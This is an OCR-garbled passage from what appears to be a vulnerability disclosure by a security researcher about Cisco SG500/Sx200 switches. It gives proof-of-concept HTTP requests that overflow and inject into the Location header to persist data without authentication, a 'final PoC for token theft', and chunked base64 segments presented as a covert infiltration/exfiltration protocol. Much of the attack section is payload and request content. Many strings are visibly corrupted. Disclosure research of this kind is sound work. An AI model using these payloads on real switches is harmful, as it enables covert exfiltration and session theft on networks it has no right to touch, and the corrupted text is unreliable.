‘nBandPortTable=
=port=
<POESupporteds
1
=/POESupported=
<ifIndexs=
1
«/ifIndex>
<portName=>
gil/o/1
=/portMName=
“rows

1

W
olumn=

encoding="UTF-8" 7=




@ @
This attack is nuanced but extremely important. Again, an attacker can control this
parameter through a number of simple & accepted methods:

e A crafted link can be sent to the victim.
e A common web cache can be poisoned.
e The attacker can alter or fixate the token through Man-in-the-Middle attacks.

Most of these devices, by default, are configured to allow plaintext protocols (ex. HTTP) or
fail to enforce STRICT TRANSPORT SECURITY. As will be demonstrated later, the devices
are easily rebooted or conditions requiring a reboot (Persistent XSS / HTML Injection) can
triggered via unauthenticated request. These conditions allow for simple exploitation,
network traffic interception, and attack.

Final PoC for token theft:

-Frame-Uptilons: ﬂﬁﬂ%ﬂﬂ:vlﬁ
pcation: AAAAAAAAARARAAAARAAARAAAAAAAAARALAAAAA wod=/reqguast Rl =

</statusString=
<fAciserld=192, 168, 1 . 2906885000/

This attack allows for simple exploitation, Man-In-The-Middle attacks, and disclosure of
these values through unauthenticated request regardless of whether the victim is utilizing
HTTP or HTTPS based reguests.
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DIRECT] VEFOU — Creating an encoded file transfer & exfiltration protocol via rsisfenf XSS on
Cisco SMB Switches (5x200 / Sx500 models)

P

DIRECTIVEFOUR is a powerful vector because the web administration interface / gui
*must” be available to the administrator in certain deployment scenarios, such as the
Sx200. This interface is the default or only method of performing privileged actions, such
as initial setup, for the end-user.

In a large majority of encountered deployments (nearly all) this interface wilkavailable via
HTTP/ HTTPS via the default VLAN. For this exploit chain and PoC, we will first
demonstrate a simple protocol / transfer of content via the LOCATION header.

Previously, the attacker has calculated the correct header size and structure needed to
create a reliable, robust protocol which can be used for stealth exfiltration, codeyinjection,
authentication bypass, and to route traffic / data to isolated or air gappedinetworks.

Calculation of Buffer space using these requests:

e 1812 total bytes allowed in malicious before reboét./ fault of Go Ahead
e 1092 total bytes to reset the server location,tag

The difference (window) we have established so far:

1812 — 1092 = 720 bytes of available space.

Through additional fuzzing.and examination of the LOCATION header, the attacker has
determined:

e Max size of controllable buffer: 830 characters.

e ‘“Usable Space”; The usablelexploitable space is effectively ~529 bytes. In practice, it is
about 20%less due.to DeS / repeated input issues.

e Spraying 1040 of injected, crafted input is needed to control / target the location header
exactly and land'inside this “window.”

For our attacks, wesare abusing / controlling ~500 bytes of space; more than enough for a
robust protocol.
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DIRECTIVEFOUR — Proof of Concept Walkthrough & Sample Payloads

For this attack flow, we will be utilizing a Cisco SG500-28 28-Port Gigabit Switch. The
device will be factory defaulted, then setup in a common exploitable configuration. Note:
the default session / credentials are transmitted via HTTP (unencrypted):

HTTP history WebSockets history Options

é)IRequest to http:// 80 I
Forward Drop Intercept is on Action Open Browser
Raw Hex
1GET / /confic/System.xml?action=loginscreds

HTTR/ L. 1

5 User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winéd; x£4; rv:97.0) Gecko/2010010L Firefox/97.0

4 Accept: */*

= lecept-Language: en-US,en;q=0.5

& lecept-Encoding: gzip, deflate

7 Conmnection: close

® Referer: htep:/, config/ log off page.htm

5 Cookie: activeLangld=English; isStackableDevice=trus; userStatus=initiall sessionID=UserId=
00000000000000000000000000000000000000000000000000000000000; cisco_numbe TETE T

co: firstWelcomeBanner=false: pg=

Importantly, while the web interface will prompt us to €hange the&redentials, the APl and
web application are fully functional / attackable. In the background, a number of requests
/ polling items are triggered and the interface isi"usable® outside of the web application
presenting a “nag screen.”

For our PoC / walkthrough, we will use the credentials:

Username: cybirpoc

Password: CYBIRpOc

cisco  SG500-28 28-Port Gigabit Stackable Managed Switck

Change Default User

For security reasons, it is required to create a new administration user for device management
This will delete the default user.

The minimum requirements for password are as follows:
+ Cannot be the same as the user name.

* Minimum length is 8

* Minimum number of character classes is 3.

User Name: cybirpoc
Password: escsscse
Confirm Password: escsscse

Password StrengthMeter: [ |
[ehpplye | Cancel |
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After inputting these new credentials, the application provides access. The firmware revision /
configuration is shown here:

nmm
cisco  SG500-28 28-Port Gigabit Stackable Mana
Getting Started
System Summary
System Information Software Information
Interface
ool System Stack Mode: Native Stacking Firmware Version (Active Image). 14115
GVRP System Operational Mode: L2 Mode Firmware MD5 Checksum (Adive Image):  c02a90a3873ec960029901136080954
B021XEAP System Description: $G500-28 28-Port Gigabit Stackable Managed Switch Firmware Version (Non-active): 1413
AcL =
TCAM Utilization System Location: Edil Firmware MD5 Checksum (Non-active): 173388df55554504ac56b89a208493c9
» RMON System Contact: Eait Boot Version: 14002
» ViewLog Host Name: E Boot MD5 Checksum: accbdaec117726d0e5149babc5b2a0b0
» Administration
System Object ID: 13614196181281 Locale en-Us
» Port Management
e System Uptime 0 day(s), 0 hr(s), 19 min(s) and 59 sec(s) Language Version 14115
» VLAN Management Current Time: Language MD5 Checksum: NA
» Spanning Tree Base MAC Address:
RuMC Adkinss Tables, | Jumbo Frames: Disabled
» Muiticast
» IP Configuration
— [ TCP/UDP Services Status  Edit
» Security
» Access Control HTTP Senvice: Enabled
2 Quality of Service HTTPS Senvice: Enabled
2eSHME, SNHP Senvice Disabled
Telnet Service Disabled
SSH Senvice: Disabled
Unit 1(Master): SG500-28 28-Port Gigabit Stackable Managed Switch
Serial Number: PID VID: SG500-28-K9 V02

Our target device is using firmware 1.4.11.5. This is dgainh,.confirmed via screenshot.

Even though the official support pages state Cisco poliey, “Cisco, Engineering will no longer
develop, repair, maintain, or test the product goftware”, they have released an update for serious
issues “after this date.” Yes, these updates address issues | disclosed to them in 2019 / 2020:

Software Download - Cisco Systems
https://software.cisco.com/download/home /284099540 /type /282463181 /release/1.4.11.5

SGH00-28P 28-port Gigabit POE Stackable Managed Switch

File Information Release Date size

$x500 Firmware Version 1.4.11.5 18-Jun-2020 10.07 MB

|+

End of SW The last date that Cisco Engineering may release any final software maintenance releases April 12,
Maintenance or bug fixes. After this date, Cisco Engineering will no longer develop, repair, maintain, or 2019
Releases Date: test the product software.

HW

Last Date of The last date to receive applicable service and support for the product as entitled by active April 30
Support: service contracts or by warranty terms and conditions. After this date, all support services 2023
HW for the product are unavailable, and the product becomes obsolete . Warranty duration is

based on product ship dates; refer to warranty terms and conditions for details.

End-of-Sale and End-of-Life Announcement for the Cisco Small Business 200 Series
Smart Switches (Select Models) - Cisco

The affected product line is actually *much” bigger and they are all essentially “the same devices”
in that they run similar firmware, interfaces, etc. The products Cisco has suggested affected
customers upgrade to are also vulnerable to these issues and at time of disclosure, were still within
their support window & update schedules (6/21). See Addiitional Information for detailed
information.
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DIRECTIVEFOUR - Basic PoC Requests fo Execute Attack Flow / Build Protocol

Injected Header Control (Exact Position) PoC:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAIR3456789123456789123456789123456789123456789123456789123456789123456789123456789123456789X
NPEZSIYAT0) 000000000 9.0000.0.0.0.0.0.0.0.0.0.9.0.00.0.0.0.0.0.0.09.9.0.0.00.0.0.0.0.0.0. 0000000000000 0 000 0008 9.0,.0.0 009999004
) 0.0.0,0.0.0.0.0:0.9.0.9,00.0.0.0,09.9.9.0,.9.9,9.0,0.9.9,.0,0.00.0.009.90.9.00.0.0.000.00000.0000.0.0000.9000000 000 0 900090 0.0,00.0.9.009.0.0
XXXKXXHKIKXKKKXXKXXXXXTHISISINJECTED /wed?

Reset of Webserver to correct header length / operation, PoC:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAIZ3456789123456789123456789123456789123456789123456789123456789123456789123456789123456789X
/1234567890 /wed?{DictionariesList}

Request Identifying.the exact position’ length of correctly “sprayed” buffer.
(“THISISINJECTED"™)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAIR3456789123456789123456789123456789123456789123456789123456789123456789123456789123456789X
NPEZSIYAT0) 000000000 0.0000.0.0.0.0.0.0.0.0.0.9.0.00.0.0.0.0.0.0.00.9.0.0.00.0.0.0.0.0.0.0.0.0.0.0.00.0.0.9.0.0.0.00.0.0.0.0.0.0.0.0.0.0.0.0.9.9.9.9.9.0.4
0 9.9,0.0,.0.0.0,0.0.9.0.0.0.0.0.0.0.0.0.0,0.9,.¢,0.0.0,.9,9,0.9.9,0.0.00.0.00.000.00.0.0000.000.000.0.90.0.00.0.00,000.000000000000000.000.000.004
XXXXXXXKXXXKAKXXXXXXXXTHISISINJECTEDI123456789123456789123456789123456789123456789123456789123456789123456789123
456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123
456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123
456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123
456789123456789123456789123456789123456789123456789123456789123456789123456789123456789123 /wed?
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DIRECT] VEFOU — Building a Layer 7 protocol through Persistent XSS & Web Sever Fuzzing on
Cisco Switches (SG500 / SF200)

The target switch is now operational following user setup. The switch has a complex
password and is only accessible via HTTP / HTTPS. Requests to the base / location &
application are fully operational and functional:

Raw  Hex B w = Pretty  Raw  Hex  Render
1 GET / HTTP/L.1 L HTTP/L.1 302 Redirsct
2 Host: 2 Server: Golhead-Ushs
3 User-. 3 Date
4 Accept 4 Connection:

5 Accept 5 Pragma: no-c
€ Connec € Cache-Contrc
7 7 Content-Type: texe/html
% XK-Frawme-Options: SANECRIGIN
o Location: / /

11 <hetml>

This document has moved to a new <a href=r /"y
location
</a>
Please update your documents te reflect the new lecation,
& </body>
</hrml>

We will craft a special message:

This is a covert channel & message with lots of invalid characters
like breaks

<>?,./:" [-=_+H) (&A% $x@!~"

Next, we will want to encode this dafaras baseb4. If you are using BURP DECODER, you
can encode this test message via the interface:

~\
5

O Text () Hex ©)
Decode as ...

Encode as ...

Plain
URL

==

Hex

If you have encodedithis data correctly, you should have the following baseb4 string resuilt.
If not, you can dilso copy this string to recreate the attack:

VCGhpcyBpcyBhIGNvdmVydCBjaGFubmVsICYgbW\Vzc2FnZSB3aXRolCGxvdHMgb2YgaW52YWxpZ CBjaGFyYWNOZX JzCmxpa2UgYn )l
YWitzCjw+Pywul zoiOydbXXt9L TIfKykoKiZe JSQQCF+YA==

O Text | Hex

Decode as

Encode as

Plain
URL

I VGhpcyBpcyBhIGNvdmVydCBjaGFubmVsICYgbWVzc2FnZSB3aXRolGxvdHMgb2YgaWs2YWxpZCBjaGFy YWNOZXJzCmipa2UgYn Y WizGjw-+Pywul zoiOydbXXtOLT1fKykoKiZe SSQIQCF +YA== I E

Hex
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At this point, you may be wondering why encoding this string of characters is a big deal or
why | think | am so damn clever. Let’s inject this baseb4 string into our previously crafted
header instead of our fuzzed string:

GET
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAIR3456789123456789123456789123456789123456789123456789123456789123456789123456789123456789X
VALEZISIVASEI0) 9 9.9.9.0.0.0.0.0.0.9.9.9.990 9,999 0. 9.9.0.0.9.9.9.9.0.9.9.0.0.9.9.99. 0990000000999 0009000000000 000009 0 90909990 094
) 9.9.0.0.990.0.0.9.9.99.0.9.9.90.00999.99.9909.9.990999009999 090000900 0000009900 000000000 0000¢ 0 9900.000.0.9.9.99.9.9.9
XXXXXXKIKXXXXXXXXXXXXV ChpeyBpeyBhlGNvdmVydCBjaGFubmVsICYgbW\Vze2FnZSB3aXRolCixvdHMgb2Y gaW52YWxpZCBj
aGFyYWNOZX])zCmxpa2UgYnJIYWtzCjw+Pywul zoiOydbXXt9L TIfKykoKiZe JSQJQCF+YA==/wcd?

Raw Hex ] N =

1 GET
AAAAAAAAAARAAAARARAAAARARARAAAARAAAAAAAARAAAAAARARAAAARARARAAAARARAAAARARAAAAAARAAAAAARARARAAARAL
AAAAAAAAAAAAAAAARAAAARAAARAAAAAAAARAAARAAARAAAAARAAARAAAARAAARAAAARAAARAAAAAAAARAAARAAAARAAARAAAL
AAAAAAAARARAAAARARAAAARARARAAAARARARAARARARARAAARARARAAARARARAAAARARARAAARARARAAAARARAAAARARARAARAL
AAAAAAAAAAAAAAAARAAARAAAARAAAAAAAARAARARAAAAAAAARAAAAAAAARAAAAAAAARAAAAAAAAAAAARAAAARAAARAAARAAAL
AAAAAAAARARAAAARARARAARA AR AR AR A AR AR AAA AR AR AR AR A AR AR ARAAA AR AR AAAARARARAAARARAAAARARARARAAARARARARARALR
AAAAAAAARARAAAARARAAAADARARAAAARARARAARARARAAAARARAAAARARARAAAARARAAAARARARAAAARARAAAARARARAAAAL
AAAAAAAAAAAAAAAARAAAARAAARAAAAAAAARAAARAAAARAAARAAARAAAARAAARAAAAARAAAAAAARAAAARAAAARAAARAAARAAAA
AAAAAAAARARAAAARARARAAAARARAAAAAARARAAAARARAAAARARARAAAARARAAAARARAAAARARARARAAARARAAAAAARARARAAL
AAAAAAAAAAAAAAAARAAAARAAAAAAAAAAAARAAAAAAARAAAARAAARAAAARAAARAAAARAAARAAAAAAAARAAARAAARAAAAARAAAA
AAAAAAAARARAAAARARAAAA A AR AR AAA AR AR AR A A AR AR AAA AR AR AR A AR AR AR A A AR AR ARAAARARARAAAARARARAAARARARAARALR
AAAAAAAAAAAAAAAMAAAAAAAARAAAAALZ3456789123456789123456789123456789123456785123456789123456789123
456789123456789123456789X/ 1234567890 X XXX XXX XXX XX XXX XXX XX KKK XX XXX XXX XXX XXX KR XX KKK KX XXX XX XXX KKK KKXX
- S . , . " P s , ’e —— ——— -

R R ATt arararatatatars - atatatats VU

KEKKKKK KKK KK KKK KKK KK KKK KKK KKK KKK KK VGhpeyBpeyBh IGNvdmVydCBjaGF ubmVs ICYghWVzcZFnZ5B3aXRo IGxvdHMgh2
YgaWsZ YWxpZCBjaGFyYWNOZXJzCmxpaZUg¥nd 1YWt zCjw+PywuLzoiOydbXXt9LT1fKykoKiZeJSQjQCF+YA==/wcd?
AP/ TVT

Now, let's issue@ request to,the'base (/) page again. The baseb4 encoded payload we
have injectedis new persistently stored and reflected via an unauthenticated request.

Respons Gl —
esSponsec

Pretty Raw Hex Render B \n =
1 HTTP/1.1 302 Redirect

2 Server: Golhead-Uehs

3 Date:

4 Connection: close
5 Pragma: no-cache
¢ Cache-Control: no-cache
7 Content-Type: text/html
e R i ons . S ANECRICIN
Location:
VGhpcyBpcyBhIGNvdmVydCBjaGFubmVs ICYghWVzcZFnZ5B3aXRo IGxvdHMghZ YgaWsZ YWxpZCBjaGFyYWNOZXJ zCmxpal Ug
YndlYWtzCjw+PywuLzoiOydbXXtSLT1lfKykoKiZedSQjQCF+YA==/wcd</requestURL>
<statusCode>4</statusCode>
<deviceStatusCode>0</deviceStatusCode>
<statusString>Request Is not authenticated</statusString>
1 </ActionStatus>
</ResponseData>
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Our baseb4 encoded data, typically malicious / unusable characters and all, is completely
retrievable and integrated into future location tags and content. Decoding this through
BURP DECODER's baseb64 decoder, we can see that the malicious sample code (including
invalid characters) has been successfully transmitted, stored, and retrieved via the web
application interface without authentication.

Copying and pasting the LOCATION header directly to BURP DECODER, reversing this
process:

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

LocationIVGhEﬂBEﬂBhlGNvdideB'aGFumelengWVchFnZSBBaXRolvadHMgb2VgaW52VprZCBjaGFyYWNOZXJzCmxpaZUgVnJlVleCjw+wauLzoiOydeXtQLﬂnykoKiZeJSC.lJ'QCHYA: =/\ch </requestURL>

<statusCode>4</statusCode>

<devic ode>0</devic ode>
<statusString>Request Is not authenticated </statusString>
</ActionStatus>

</ResponseData>

/

.007*: This is a covert channel & message with lots of invalid characters
like breaks
<>2./:"10-= ﬂf*&“'%st@! ~'yO00<p-3"6-URL>
<*0-°A"de>4<pEZTé0ode>
<ugaqa-jU-
0A>0<yx OCOu=n**Oe>
<*0-°A-®)a>Eé®est Is not jéaz{bq«"d<pEZTE0T 5g>
<(0-000u=ns>

We have established a reliable, encoded, stealth.method of communications and
bypassed application / network controls Via unsanitized input using novel encoding
techniques and the limited window availabley,\\eé have embedded malicious, typically
invalid or sanitized characters into a persistent, unauthenticated location. We have reliably
retrieved this at a later timepand from adifferent source address via the web application.
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Let's try a file type or encoding of something more useful now, like a LARER baseb4
encoded image:

iVBORWOKGgoAAAANSUREUgAAAREAAAAJCAIAAAABMONLAAAAAXNSROIArs4c6Q
AAAARNQUIBAACxjwvBYQUAAAA JcEhZcwAADsMAAA7DAcdvgGQAAATVSURBVHA
e7Zi/jhxFEIJ5EE JejIRNIOEFH]JAjKSKRIKLkD JEhljuzlzubllmZv7Z1fDO/ua)2p7tnunelZ47fp%aq
urgbgrgma2fvProzxvTgnjGmD/eMMX24Z4zpwzljTB/uGWP6cM8Y04d7xpg+3DPG0GCe
Ma¥YP94wxfVy4Z3578uUiGXMV3v78C20ZXIULI8yvH3+ySMe8e/FykcwD8f7mliHS5lo/jA3
mmf/3wlIFwtXyulDPo3716vUzMQxB3Cy7yOD6QZxrnulo+V+0Z8+DknnIMXP9cu3qG34u/f/
UTN5/f//4U34V8tKPXn9/OCDzh82f330fPwbQS Jowxzffrr8SIIFEUY8fptK /ffacolQj6OT/cFiM
RalGfPWazInC8XOU3swXaa4bNp)VGZIij//NfKYiv3gZ AzPVBwPFksCSnDIKWEvgXyel TG
TQOFHOEKXsJ+X93SiaTfpnzSUPArsYKLUdQclodTafKB5hjO2elfybz78gPFERIB/y4dPPZA
DYMBDoGWwoESIhGa/LSZhzZRWDjSQWhCGKWhVyCUuJLMEIEQIMkwmxF ZyIH2ZM6Rsx
8J)QMLc J8mqjE6hvSrROfngUFtOFxnxFEKQKQOYZ TxzmBE6cnGSCHVNEKWHYx920mXG7 v3
8pz8Cu2K78sE4kpGmdoQxNnqGGO+MuN8IXNNUMU3KmIVSVYVHAQTRp/MR4jwhZGp
RlvocSAIQIp4TzuMWnoA+DOq/LCTaESNzBMwmY ShzKSFnil71Fjx0+uo5Ox/MYET4jEcTe8
MbFMu4 JAEQIDIBIDtPpMSO/FTMCI2Q9ZjlI7dLEcaBxhDE2eoZsincLILINC JgPeWdfnQpPw
SdR8K8ckQtylrPglz7wlUxVg4i4holHo/T34s6loGkjcwzY G4Pp2g8aliSf+NfS+nICQKFEqCYT
DalMgJBWEmMvLeRSRZE4OSKm-+IrZtwbhEUIglls\VVzé6meolDsInS+yKEZ ZjbPQM4fWiy JCH
BKVFBtGlyLwB]JQOy+igyRJhXjghFWevjbZvekIOqg Joohdrlzimjay JyDszEP1S370 T5xA9DNL 295
HsgnHArsVZxc)YzXToplbB8EOSyDmCIUTITLMPupmRERYVHNYBbblY8gNF/ILDWOMMZ
Gz+CaVligKRnkjNGzGi8ZYIqBKsVeZkKb6eSU+iEia7CGb7ptV gl Ooie/aBnL JPjpV52RgRN25nr
dIAQ35qT/fylgg3GuWeYopyWbmZImM/MhZhMVRw+ JQDK9ePIBpAdigbydglxRdg8Uc4w
+2mY4TPnk7fjnxEZssrlbBxhjO3/AXCzy ZIDESgHIBIIC oFSHSKYck5Z8hnPALN4kG JaixJ6Rta
f+llAk JcG2BMRIme+60+rpPpo8ER ZkpbpCoKGiz7 guw/nIPn665C phXHwcYQBrh2jyQYpOl
KYIONQuPmsnigxP/NTMSIBpcbvyQYMsASxkY Oom39gBtntGECGYdiUeeXzlZ5dpLMQpM+
vu7/chl16156fedyYYulG8rloxQYc XuRENTOUVflcqiZ7e2YNGVAUPpe5OY+4YY+Cx3ciMd4zj
ZeMGcA9819hvGeM+X/injGMD/eMMX24Z4zpwzljTB/uGWP6cM8Y04d7xpg+3DPGIOC
eMaaHu7t/AGuabeOyImIGAAAAAEIFTkSUQmMCC

From our previous fuzzing, we know the useful window of space for us is about 400
charactets:; The\image .above, after baseb4 encoding, is significantly bigger.

The challenge for'us is to break this down into small enough chunks (~400) and indicate
that this is a multipart file. There are a lot of ways to do this and to spare you the effort of
having taxdo this instead of just witnessing this for yourself, | am providing these chunks
here.
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Let's lead our baseb64 data off with a header that indicates this is a multipart file. We are
not looking to create a full-blown protocol suite (yet), what we are looking for is a
reasonable method to encode data in this space and to abuse it for infiltration / exfiltration
across the targeted network.

We will build our protocol with a simple delimiter, SEG. Using shorthand due to space
considerations, our delimiter will state “this is part x of y":

SECIo5 = “Segment 1 of 5"

Our constructed PoC so far. Yes, this will work fine just the way it is, giveiit«a shot!

SEG105iVBORWOKGgoAAAANSUREUgAAAREAAAAJCAIAAAABMENLAAAAAXNSROIArs4c6QAAAARN
QUIBAACxjwvB8YQUAAAA JcEhZcwAADsMAAA7DAcdvgCQAAATVSURBVHhe7 Zi/jhxFEIISEE JejlRnIOEF
HJAjkSKRIKLkDJEhljuzlzublimZv7Z1fDO/ua)2p7tnunelZ47fpQaqurgbgramafvProzxv TgnjGmD/eMMX24Z4 zp
wzljTB/uGWP6cM8Y04d7xpg+3DPCI0CGeMaYP4wxfVy4Z3578ulUiGXMV3vZ8C20ZXIULI8yvH3+ySMe8
e/FykewD8f7mliH5lo/jA3mmf/3wlIFwtXyulDPo3716vUzMQxB3CyZyOD6QZxrrulo+V+0Z8+DknnlM

SEG205XPcu3qG34u/f/UINS/t//4U34V8tKPXn9/OCDzh82f330fPwbQS Jbwxzffrr8SIIFEUY8fptK/ffacol Qj6O
T/cFIMRgIGIPWazInC8XOU3swXaa4bNp VG Zlij/ /INfKYiv3gZAzPVBwPFks CSnDIKWEvgXyel TGTQOFHOE
KXsJ+X93SiaTfpnz5UPArsYKLUdQclodTafKB5hjO2elfybz78gPFERIB/y4dPPZADYMBDoGWwoES5IhGa/LSZh
ZRWDjSQWhGKWhVyCUuJLMEEQIMkwmxFZylH2ZM6Rsx8 JQMLc J8mgjE6hvSrROfngUFtOFxnxFEKQkOYZ
TxzmBE6cnGSCHVNEKWHYx920mXG7 Jv38pz8Cu2K78sE4kpGmdoQxNngGCGO+MuN8|

SEG305xNNUmMU3KmIvSVYVHAQTnp7MR4jwhZGpRIvocSAIQIp4TzuMWnoA+DOqg/LCTaESNzBMwmYShz
KSFnil71F Jxo+uo50x/MYET4jEcTe8MbFMu4 J4EQIDIBIDPpMSO/FTMCI2Q9Zjl7dLEoaBxhDE2eoZsincLILII
